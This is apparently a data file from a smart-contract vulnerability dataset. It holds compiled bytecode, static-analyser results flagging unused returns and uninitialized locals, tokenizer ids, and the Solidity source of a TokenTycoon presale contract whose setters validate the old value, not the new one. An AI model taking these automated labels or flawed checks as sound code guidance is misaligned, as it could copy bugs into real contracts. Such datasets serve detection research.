83811015614e31578082015181840152602081019050614e16565b83811115614e40576000848401525b50505050565b60006002820490506001821680614e5e57607f821691505b60208210811415614e7257614e71614f81565b5b50919050565b614e818261505b565b810181811067ffffffffffffffff82111715614ea057614e9f61500e565b5b80604052505050565b6000614eb482614dfa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614ee757614ee6614f23565b5b600182019050919050565b6000614efd82614dfa565b9150614f0883614dfa565b925082614f1857614f17614f52565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f616c6c204e66747320686173206265656e20736f6c6400000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f436f6c6c656374696f6e20697320616c72656164792072657665616c65640000600082015250565b7f72656365697665727320616e6420696473206861766520646966666572656e7460008201527f206c656e67746873000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f796f75206469646e27742061646420616e79206e756d62657200000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f796f752063616e74206d696e74206d6f72650000000000000000000000000000600082015250565b7f6d696e74696e6720697320706175736564000000000000000000000000000000600082015250565b50565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f68656c6c6f350000000000000000000000000000000000000000000000000000600082015250565b7f68656c6c6f360000000000000000000000000000000000000000000000000000600082015250565b6156dc81614d90565b81146156e757600080fd5b50565b6156f381614da2565b81146156fe57600080fd5b50565b61570a81614dae565b811461571557600080fd5b50565b61572181614dfa565b811461572c57600080fd5b5056fea26469706673582212201aa43981568ed53421e1b7ef51ad91ed581176d47e4cbd323058e8c17221a80364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2581, 4402, 21057, 2050, 20842, 2497, 2692, 2497, 2475, 2063, 22022, 2546, 22932, 2692, 2509, 2497, 2094, 16086, 27814, 2094, 2475, 2497, 2475, 2278, 24434, 2620, 18827, 2620, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,303
0x968815CD73647C3af02a740a2438D6f8219e7534
/* ==================================================================== */ /* Copyright (c) 2018 The TokenTycoon Project. All rights reserved. /* /* https://tokentycoon.io /* /* authors rickhunter.shen@gmail.com /* ssesunding@gmail.com /* ==================================================================== */ pragma solidity ^0.4.23; contract AccessAdmin { bool public isPaused = false; address public addrAdmin; event AdminTransferred(address indexed preAdmin, address indexed newAdmin); constructor() public { addrAdmin = msg.sender; } modifier onlyAdmin() { require(msg.sender == addrAdmin); _; } modifier whenNotPaused() { require(!isPaused); _; } modifier whenPaused { require(isPaused); _; } function setAdmin(address _newAdmin) external onlyAdmin { require(_newAdmin != address(0)); emit AdminTransferred(addrAdmin, _newAdmin); addrAdmin = _newAdmin; } function doPause() external onlyAdmin whenNotPaused { isPaused = true; } function doUnpause() external onlyAdmin whenPaused { isPaused = false; } } contract AccessService is AccessAdmin { address public addrService; address public addrFinance; modifier onlyService() { require(msg.sender == addrService); _; } modifier onlyFinance() { require(msg.sender == addrFinance); _; } function setService(address _newService) external { require(msg.sender == addrService || msg.sender == addrAdmin); require(_newService != address(0)); addrService = _newService; } function setFinance(address _newFinance) external { require(msg.sender == addrFinance || msg.sender == addrAdmin); require(_newFinance != address(0)); addrFinance = _newFinance; } function withdraw(address _target, uint256 _amount) external { require(msg.sender == addrFinance || msg.sender == addrAdmin); require(_amount > 0); address receiver = _target == address(0) ? addrFinance : _target; uint256 balance = address(this).balance; if (_amount < balance) { receiver.transfer(_amount); } else { receiver.transfer(address(this).balance); } } } interface WarTokenInterface { function getFashion(uint256 _tokenId) external view returns(uint16[12]); function ownerOf(uint256 _tokenId) external view returns (address); function safeTransferByContract(uint256 _tokenId, address _to) external; } interface WonderTokenInterface { function transferFrom(address _from, address _to, uint256 _tokenId) external; function safeGiveByContract(uint256 _tokenId, address _to) external; function getProtoIdByTokenId(uint256 _tokenId) external view returns(uint256); } interface ManagerTokenInterface { function transferFrom(address _from, address _to, uint256 _tokenId) external; function safeGiveByContract(uint256 _tokenId, address _to) external; function getProtoIdByTokenId(uint256 _tokenId) external view returns(uint256); } interface TalentCardInterface { function safeSendCard(uint256 _amount, address _to) external; } interface ERC20BaseInterface { function balanceOf(address _from) external view returns(uint256); function transfer(address _to, uint256 _value) external; function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external; } contract TTCInterface is ERC20BaseInterface { function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool); } contract TTPresale is AccessService { TTCInterface ttcToken; WarTokenInterface warToken; ManagerTokenInterface ttmToken; WonderTokenInterface ttwToken; event ManagerSold( address indexed buyer, address indexed buyTo, uint256 mgrId, uint256 nextTokenId ); event WonderSold( address indexed buyer, address indexed buyTo, uint256 wonderId, uint256 nextTokenId ); constructor() public { addrAdmin = msg.sender; addrFinance = msg.sender; addrService = msg.sender; ttcToken = TTCInterface(0xfB673F08FC82807b4D0E139e794e3b328d63551f); warToken = WarTokenInterface(0xDA9c03dFd4D137F926c3cF6953cb951832Eb08b2); } function() external payable { } uint64 public nextDiscountTTMTokenId1 = 1; // ManagerId: 1, tokenId: 1~50 uint64 public nextDiscountTTMTokenId6 = 361; // ManagerId: 6, tokenId: 361~390 uint64 public nextCommonTTMTokenId2 = 51; // ManagerId: 2, tokenId: 51~130 uint64 public nextCommonTTMTokenId3 = 131; // ManagerId: 3, tokenId: 131~210 uint64 public nextCommonTTMTokenId7 = 391; // ManagerId: 7, tokenId: 391~450 uint64 public nextCommonTTMTokenId8 = 451; // ManagerId: 8, tokenId: 451~510 uint64 public nextDiscountTTWTokenId1 = 1; // WonderId: 1, tokenId: 1~30 uint64 public nextCommonTTWTokenId2 = 31; // WonderId: 2, tokenId: 31-90 function setNextDiscountTTMTokenId1(uint64 _val) external onlyAdmin { require(nextDiscountTTMTokenId1 >= 1 && nextDiscountTTMTokenId1 <= 51); nextDiscountTTMTokenId1 = _val; } function setNextDiscountTTMTokenId6(uint64 _val) external onlyAdmin { require(nextDiscountTTMTokenId6 >= 361 && nextDiscountTTMTokenId6 <= 391); nextDiscountTTMTokenId6 = _val; } function setNextCommonTTMTokenId2(uint64 _val) external onlyAdmin { require(nextCommonTTMTokenId2 >= 51 && nextCommonTTMTokenId2 <= 131); nextCommonTTMTokenId2 = _val; } function setNextCommonTTMTokenId3(uint64 _val) external onlyAdmin { require(nextCommonTTMTokenId3 >= 131 && nextCommonTTMTokenId3 <= 211); nextCommonTTMTokenId3 = _val; } function setNextCommonTTMTokenId7(uint64 _val) external onlyAdmin { require(nextCommonTTMTokenId7 >= 391 && nextCommonTTMTokenId7 <= 451); nextCommonTTMTokenId7 = _val; } function setNextCommonTTMTokenId8(uint64 _val) external onlyAdmin { require(nextCommonTTMTokenId8 >= 451 && nextCommonTTMTokenId8 <= 511); nextCommonTTMTokenId8 = _val; } function setNextDiscountTTWTokenId1(uint64 _val) external onlyAdmin { require(nextDiscountTTWTokenId1 >= 1 && nextDiscountTTWTokenId1 <= 31); nextDiscountTTWTokenId1 = _val; } function setNextCommonTTWTokenId2(uint64 _val) external onlyAdmin { require(nextCommonTTWTokenId2 >= 31 && nextCommonTTWTokenId2 <= 91); nextCommonTTWTokenId2 = _val; } uint64 public endDiscountTime = 0; function setDiscountTime(uint64 _endTime) external onlyAdmin { require(_endTime > block.timestamp); endDiscountTime = _endTime; } function setWARTokenAddress(address _addr) external onlyAdmin { require(_addr != address(0)); warToken = WarTokenInterface(_addr); } function setTTMTokenAddress(address _addr) external onlyAdmin { require(_addr != address(0)); ttmToken = ManagerTokenInterface(_addr); } function setTTWTokenAddress(address _addr) external onlyAdmin { require(_addr != address(0)); ttwToken = WonderTokenInterface(_addr); } function setTTCTokenAddress(address _addr) external onlyAdmin { require(_addr != address(0)); ttcToken = TTCInterface(_addr); } function _getExtraParam(bytes _extraData) private pure returns(address addr, uint64 f, uint256 protoId) { assembly { addr := mload(add(_extraData, 20)) } f = uint64(_extraData[20]); protoId = uint256(_extraData[21]) * 256 + uint256(_extraData[22]); } function receiveApproval(address _sender, uint256 _value, address _token, bytes _extraData) external whenNotPaused { require(msg.sender == address(ttcToken)); require(_extraData.length == 23); (address toAddr, uint64 f, uint256 protoId) = _getExtraParam(_extraData); require(ttcToken.transferFrom(_sender, address(this), _value)); if (f == 0) { _buyDiscountTTM(_value, protoId, toAddr, _sender); } else if (f == 1) { _buyDiscountTTW(_value, protoId, toAddr, _sender); } else if (f == 2) { _buyCommonTTM(_value, protoId, toAddr, _sender); } else if (f == 3) { _buyCommonTTW(_value, protoId, toAddr, _sender); } else { require(false, "Invalid func id"); } } function exchangeByPet(uint256 _warTokenId, uint256 _mgrId, address _gameWalletAddr) external whenNotPaused { require(warToken.ownerOf(_warTokenId) == msg.sender); uint16[12] memory warData = warToken.getFashion(_warTokenId); uint16 protoId = warData[0]; if (_mgrId == 2) { require(protoId == 10001 || protoId == 10003); require(nextCommonTTMTokenId2 <= 130); warToken.safeTransferByContract(_warTokenId, address(this)); nextCommonTTMTokenId2 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId2 - 1, _gameWalletAddr); emit ManagerSold(msg.sender, _gameWalletAddr, 2, nextCommonTTMTokenId2); } else if (_mgrId == 3) { require(protoId == 10001 || protoId == 10003); require(nextCommonTTMTokenId3 <= 210); warToken.safeTransferByContract(_warTokenId, address(this)); nextCommonTTMTokenId3 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId3 - 1, _gameWalletAddr); emit ManagerSold(msg.sender, _gameWalletAddr, 3, nextCommonTTMTokenId3); } else if (_mgrId == 7) { require(protoId == 10002 || protoId == 10004 || protoId == 10005); require(nextCommonTTMTokenId7 <= 450); warToken.safeTransferByContract(_warTokenId, address(this)); nextCommonTTMTokenId7 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId7 - 1, _gameWalletAddr); emit ManagerSold(msg.sender, _gameWalletAddr, 7, nextCommonTTMTokenId7); } else if (_mgrId == 8) { require(protoId == 10002 || protoId == 10004 || protoId == 10005); require(nextCommonTTMTokenId8 <= 510); warToken.safeTransferByContract(_warTokenId, address(this)); nextCommonTTMTokenId8 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId8 - 1, _gameWalletAddr); emit ManagerSold(msg.sender, _gameWalletAddr, 8, nextCommonTTMTokenId8); } else { require(false); } } function buyDiscountTTMByETH(uint256 _mgrId, address _gameWalletAddr) external payable whenNotPaused { _buyDiscountTTM(msg.value, _mgrId, _gameWalletAddr, msg.sender); } function buyDiscountTTWByETH(uint256 _wonderId, address _gameWalletAddr) external payable whenNotPaused { _buyDiscountTTW(msg.value, _wonderId, _gameWalletAddr, msg.sender); } function buyCommonTTMByETH(uint256 _mgrId, address _gameWalletAddr) external payable whenNotPaused { _buyCommonTTM(msg.value, _mgrId, _gameWalletAddr, msg.sender); } function buyCommonTTWByETH(uint256 _wonderId, address _gameWalletAddr) external payable whenNotPaused { _buyCommonTTW(msg.value, _wonderId, _gameWalletAddr, msg.sender); } function _buyDiscountTTM(uint256 _value, uint256 _mgrId, address _gameWalletAddr, address _buyer) private { require(_gameWalletAddr != address(0)); if (_mgrId == 1) { require(nextDiscountTTMTokenId1 <= 50, "This Manager is sold out"); if (block.timestamp <= endDiscountTime) { require(_value == 0.64 ether); } else { require(_value == 0.99 ether); } nextDiscountTTMTokenId1 += 1; ttmToken.safeGiveByContract(nextDiscountTTMTokenId1 - 1, _gameWalletAddr); emit ManagerSold(_buyer, _gameWalletAddr, 1, nextDiscountTTMTokenId1); } else if (_mgrId == 6) { require(nextDiscountTTMTokenId6 <= 390, "This Manager is sold out"); if (block.timestamp <= endDiscountTime) { require(_value == 0.97 ether); } else { require(_value == 1.49 ether); } nextDiscountTTMTokenId6 += 1; ttmToken.safeGiveByContract(nextDiscountTTMTokenId6 - 1, _gameWalletAddr); emit ManagerSold(_buyer, _gameWalletAddr, 6, nextDiscountTTMTokenId6); } else { require(false); } } function _buyDiscountTTW(uint256 _value, uint256 _wonderId, address _gameWalletAddr, address _buyer) private { require(_gameWalletAddr != address(0)); require(_wonderId == 1); require(nextDiscountTTWTokenId1 <= 30, "This Manager is sold out"); if (block.timestamp <= endDiscountTime) { require(_value == 0.585 ether); } else { require(_value == 0.90 ether); } nextDiscountTTWTokenId1 += 1; ttwToken.safeGiveByContract(nextDiscountTTWTokenId1 - 1, _gameWalletAddr); emit WonderSold(_buyer, _gameWalletAddr, 1, nextDiscountTTWTokenId1); } function _buyCommonTTM(uint256 _value, uint256 _mgrId, address _gameWalletAddr, address _buyer) private { require(_gameWalletAddr != address(0)); if (_mgrId == 2) { require(nextCommonTTMTokenId2 <= 130); require(_value == 0.99 ether); nextCommonTTMTokenId2 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId2 - 1, _gameWalletAddr); emit ManagerSold(_buyer, _gameWalletAddr, 2, nextCommonTTMTokenId2); } else if (_mgrId == 3) { require(nextCommonTTMTokenId3 <= 210); require(_value == 0.99 ether); nextCommonTTMTokenId3 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId3 - 1, _gameWalletAddr); emit ManagerSold(_buyer, _gameWalletAddr, 3, nextCommonTTMTokenId3); } else if (_mgrId == 7) { require(nextCommonTTMTokenId7 <= 450); require(_value == 1.49 ether); nextCommonTTMTokenId7 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId7 - 1, _gameWalletAddr); emit ManagerSold(_buyer, _gameWalletAddr, 7, nextCommonTTMTokenId7); } else if (_mgrId == 8) { require(nextCommonTTMTokenId8 <= 510); require(_value == 1.49 ether); nextCommonTTMTokenId8 += 1; ttmToken.safeGiveByContract(nextCommonTTMTokenId8 - 1, _gameWalletAddr); emit ManagerSold(_buyer, _gameWalletAddr, 8, nextCommonTTMTokenId8); } else { require(false); } } function _buyCommonTTW(uint256 _value, uint256 _wonderId, address _gameWalletAddr, address _buyer) private { require(_gameWalletAddr != address(0)); require(_wonderId == 2); require(nextCommonTTWTokenId2 <= 90); require(_value == 0.50 ether); nextCommonTTWTokenId2 += 1; ttwToken.safeGiveByContract(nextCommonTTWTokenId2 - 1, _gameWalletAddr); emit WonderSold(_buyer, _gameWalletAddr, 2, nextCommonTTWTokenId2); } function withdrawERC20(address _erc20, address _target, uint256 _amount) external { require(msg.sender == addrFinance || msg.sender == addrAdmin); require(_amount > 0); address receiver = _target == address(0) ? addrFinance : _target; ERC20BaseInterface erc20Contract = ERC20BaseInterface(_erc20); uint256 balance = erc20Contract.balanceOf(address(this)); require(balance > 0); if (_amount < balance) { erc20Contract.transfer(receiver, _amount); } else { erc20Contract.transfer(receiver, balance); } } function getPresaleInfo() external view returns( uint64 ttmCnt1, uint64 ttmCnt2, uint64 ttmCnt3, uint64 ttmCnt6, uint64 ttmCnt7, uint64 ttmCnt8, uint64 ttwCnt1, uint64 ttwCnt2, uint64 discountEnd ) { ttmCnt1 = 51 - nextDiscountTTMTokenId1; ttmCnt2 = 131 - nextCommonTTMTokenId2; ttmCnt3 = 211 - nextCommonTTMTokenId3; ttmCnt6 = 391 - nextDiscountTTMTokenId6; ttmCnt7 = 451 - nextCommonTTMTokenId7; ttmCnt8 = 511 - nextCommonTTMTokenId8; ttwCnt1 = 31 - nextDiscountTTWTokenId1; ttwCnt2 = 91 - nextCommonTTWTokenId2; discountEnd = endDiscountTime; } }
0x6080604052600436106101d45763ffffffff60e060020a60003504166311513ba581146101d6578063137c1feb146101f757806330efb8d31461020e578063358049ea1461022357806336bffe1e146102445780633f10f08a1461027557806344004cc11461028a578063491b8c45146102b45780634b530090146102d55780635138574b146102ea5780636054da0b1461030b57806367d0661d1461032c5780636ba4729914610341578063704b6c0214610358578063767fa723146103795780637758d407146103ea57806379ed3d69146103ff5780637d0e6b6f1461042057806381b31cec1461044157806382cb9df9146104625780638f4ffcb1146104935780639b8d3064146104cb578063a4800172146104ec578063b187bd2614610503578063b3f2ecfd1461052c578063bf8bdac114610541578063bfae2f0e14610562578063c89b7d8c14610577578063cdd977e01461058e578063d07e7d7c146105a3578063d13e0808146105c4578063d8ba8ce3146105d9578063df462098146105fa578063df88fb441461061b578063e39d2a9814610642578063eaf18c4514610657578063ec28118e14610678578063ee987ffc1461068d578063f1861749146106ae578063f3fef3a3146106c3575b005b3480156101e257600080fd5b506101d4600160a060020a03600435166106e7565b6101d4600435600160a060020a0360243516610747565b34801561021a57600080fd5b506101d4610767565b34801561022f57600080fd5b506101d46001604060020a03600435166107a0565b34801561025057600080fd5b5061025961080a565b604080516001604060020a039092168252519081900360200190f35b34801561028157600080fd5b50610259610820565b34801561029657600080fd5b506101d4600160a060020a0360043581169060243516604435610836565b3480156102c057600080fd5b506101d4600160a060020a0360043516610a4e565b3480156102e157600080fd5b50610259610aae565b3480156102f657600080fd5b506101d46001604060020a0360043516610ac4565b34801561031757600080fd5b506101d46001604060020a0360043516610b5d565b34801561033857600080fd5b506101d4610bd5565b6101d4600435600160a060020a0360243516610c10565b34801561036457600080fd5b506101d4600160a060020a0360043516610c2c565b34801561038557600080fd5b5061038e610cd0565b604080516001604060020a039a8b168152988a1660208a0152968916888801529488166060880152928716608087015290861660a0860152851660c0850152841660e08401529092166101008201529051908190036101200190f35b3480156103f657600080fd5b50610259610d45565b34801561040b57600080fd5b506101d46001604060020a0360043516610d5b565b34801561042c57600080fd5b506101d46001604060020a0360043516610dec565b34801561044d57600080fd5b506101d46001604060020a0360043516610e89565b34801561046e57600080fd5b50610477610f22565b60408051600160a060020a039092168252519081900360200190f35b34801561049f57600080fd5b506101d460048035600160a060020a039081169160248035926044351691606435918201910135610f31565b3480156104d757600080fd5b506101d4600160a060020a036004351661112b565b6101d4600435600160a060020a03602435166111a2565b34801561050f57600080fd5b506105186111be565b604080519115158252519081900360200190f35b34801561053857600080fd5b506102596111c7565b34801561054d57600080fd5b506101d4600160a060020a03600435166111dd565b34801561056e57600080fd5b50610477611254565b6101d4600435600160a060020a0360243516611268565b34801561059a57600080fd5b50610477611284565b3480156105af57600080fd5b506101d4600160a060020a0360043516611293565b3480156105d057600080fd5b506102596112f3565b3480156105e557600080fd5b506101d46001604060020a0360043516611302565b34801561060657600080fd5b506101d46001604060020a036004351661137a565b34801561062757600080fd5b506101d4600435602435600160a060020a0360443516611414565b34801561064e57600080fd5b50610259611c85565b34801561066357600080fd5b506101d4600160a060020a0360043516611c9b565b34801561068457600080fd5b50610259611cfb565b34801561069957600080fd5b506101d46001604060020a0360043516611d11565b3480156106ba57600080fd5b50610259611da2565b3480156106cf57600080fd5b506101d4600160a060020a0360043516602435611db1565b6000546101009004600160a060020a0316331461070357600080fd5b600160a060020a038116151561071857600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005460ff161561075757600080fd5b61076334838333611e9d565b5050565b6000546101009004600160a060020a0316331461078357600080fd5b60005460ff16151561079457600080fd5b6000805460ff19169055565b6000546101009004600160a060020a031633146107bc57600080fd5b426001604060020a038216116107d157600080fd5b600880546001604060020a0390921660c060020a0277ffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b60075460c060020a90046001604060020a031681565b600754608060020a90046001604060020a031681565b60025460009081908190600160a060020a031633148061086557506000546101009004600160a060020a031633145b151561087057600080fd5b6000841161087d57600080fd5b600160a060020a03851615610892578461089f565b600254600160a060020a03165b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051919450879350600160a060020a038416916370a08231916024808201926020929091908290030181600087803b15801561090757600080fd5b505af115801561091b573d6000803e3d6000fd5b505050506040513d602081101561093157600080fd5b505190506000811161094257600080fd5b808410156109ca5781600160a060020a031663a9059cbb84866040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050600060405180830381600087803b1580156109ad57600080fd5b505af11580156109c1573d6000803e3d6000fd5b50505050610a46565b81600160a060020a031663a9059cbb84836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505b505050505050565b6000546101009004600160a060020a03163314610a6a57600080fd5b600160a060020a0381161515610a7f57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600854604060020a90046001604060020a031681565b6000546101009004600160a060020a03163314610ae057600080fd5b6007546083608060020a9091046001604060020a031610801590610b18575060075460d3608060020a9091046001604060020a031611155b1515610b2357600080fd5b600780546001604060020a03909216608060020a0277ffffffffffffffff0000000000000000000000000000000019909216919091179055565b6000546101009004600160a060020a03163314610b7957600080fd5b6008546101c36001604060020a0390911610801590610ba757506008546101ff6001604060020a0390911611155b1515610bb257600080fd5b6008805467ffffffffffffffff19166001604060020a0392909216919091179055565b6000546101009004600160a060020a03163314610bf157600080fd5b60005460ff1615610c0157600080fd5b6000805460ff19166001179055565b60005460ff1615610c2057600080fd5b610763348383336123a8565b6000546101009004600160a060020a03163314610c4857600080fd5b600160a060020a0381161515610c5d57600080fd5b60008054604051600160a060020a038085169361010090930416917ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec691a360008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b60065460075460085460a060020a9092046001604060020a0390811660330393604060020a808404831660830394608060020a808604851660d30395858116610187039560c060020a9182900481166101c303958185166101ff039585048216601f03949384048216605b0393929092041690565b600854608060020a90046001604060020a031681565b6000546101009004600160a060020a03163314610d7757600080fd5b6007546033604060020a9091046001604060020a031610801590610daf57506007546083604060020a9091046001604060020a031611155b1515610dba57600080fd5b600780546001604060020a03909216604060020a026fffffffffffffffff000000000000000019909216919091179055565b6000546101009004600160a060020a03163314610e0857600080fd5b600654600160a060020a9091046001604060020a031610801590610e405750600654603360a060020a9091046001604060020a031611155b1515610e4b57600080fd5b600680546001604060020a0390921660a060020a027bffffffffffffffff000000000000000000000000000000000000000019909216919091179055565b6000546101009004600160a060020a03163314610ea557600080fd5b600854601f608060020a9091046001604060020a031610801590610edd5750600854605b608060020a9091046001604060020a031611155b1515610ee857600080fd5b600880546001604060020a03909216608060020a0277ffffffffffffffff0000000000000000000000000000000019909216919091179055565b600254600160a060020a031681565b600080548190819060ff1615610f4657600080fd5b600354600160a060020a03163314610f5d57600080fd5b60178414610f6a57600080fd5b610fa385858080601f01602080910402602001604051908101604052809392919081815260200183838082843750612594945050505050565b600354604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a038e81166004830152306024830152604482018e9052915195985093965091945016916323b872dd916064808201926020929091908290030181600087803b15801561101f57600080fd5b505af1158015611033573d6000803e3d6000fd5b505050506040513d602081101561104957600080fd5b5051151561105657600080fd5b6001604060020a0382161515611077576110728782858b61262b565b611121565b816001604060020a031660011415611095576110728782858b6123a8565b816001604060020a0316600214156110b3576110728782858b611e9d565b816001604060020a0316600314156110d1576110728782858b6129a6565b6040805160e560020a62461bcd02815260206004820152600f60248201527f496e76616c69642066756e632069640000000000000000000000000000000000604482015290519081900360640190fd5b5050505050505050565b600254600160a060020a031633148061115357506000546101009004600160a060020a031633145b151561115e57600080fd5b600160a060020a038116151561117357600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005460ff16156111b257600080fd5b6107633483833361262b565b60005460ff1681565b60085460c060020a90046001604060020a031681565b600154600160a060020a031633148061120557506000546101009004600160a060020a031633145b151561121057600080fd5b600160a060020a038116151561122557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000546101009004600160a060020a031681565b60005460ff161561127857600080fd5b610763348383336129a6565b600154600160a060020a031681565b6000546101009004600160a060020a031633146112af57600080fd5b600160a060020a03811615156112c457600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6008546001604060020a031681565b6000546101009004600160a060020a0316331461131e57600080fd5b6007546101696001604060020a039091161080159061134c57506007546101876001604060020a0390911611155b151561135757600080fd5b6007805467ffffffffffffffff19166001604060020a0392909216919091179055565b6000546101009004600160a060020a0316331461139657600080fd5b60075461018760c060020a9091046001604060020a0316108015906113d057506007546101c360c060020a9091046001604060020a031611155b15156113db57600080fd5b600780546001604060020a0390921660c060020a0277ffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b61141c612b1d565b6000805460ff161561142d57600080fd5b60048054604080517f6352211e000000000000000000000000000000000000000000000000000000008152928301889052513392600160a060020a0390921691636352211e9160248083019260209291908290030181600087803b15801561149457600080fd5b505af11580156114a8573d6000803e3d6000fd5b505050506040513d60208110156114be57600080fd5b5051600160a060020a0316146114d357600080fd5b60048054604080517f425189e000000000000000000000000000000000000000000000000000000000815292830188905251600160a060020a039091169163425189e0916024808301926101809291908290030181600087803b15801561153957600080fd5b505af115801561154d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061018081101561157357600080fd5b50805190925090506002841415611738578061ffff16612711148061159d57508061ffff16612713145b15156115a857600080fd5b6007546082604060020a9091046001604060020a031611156115c957600080fd5b600480546040805160e060020a6318ad052b02815292830188905230602484015251600160a060020a03909116916318ad052b91604480830192600092919082900301818387803b15801561161d57600080fd5b505af1158015611631573d6000803e3d6000fd5b5050600780546001604060020a03604060020a8083048216600101821681026fffffffffffffffff00000000000000001990931692909217928390556005546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a03888116602485015291519116935063aea138449250604480830192600092919082900301818387803b1580156116d357600080fd5b505af11580156116e7573d6000803e3d6000fd5b50506007546040805160028152604060020a909204600160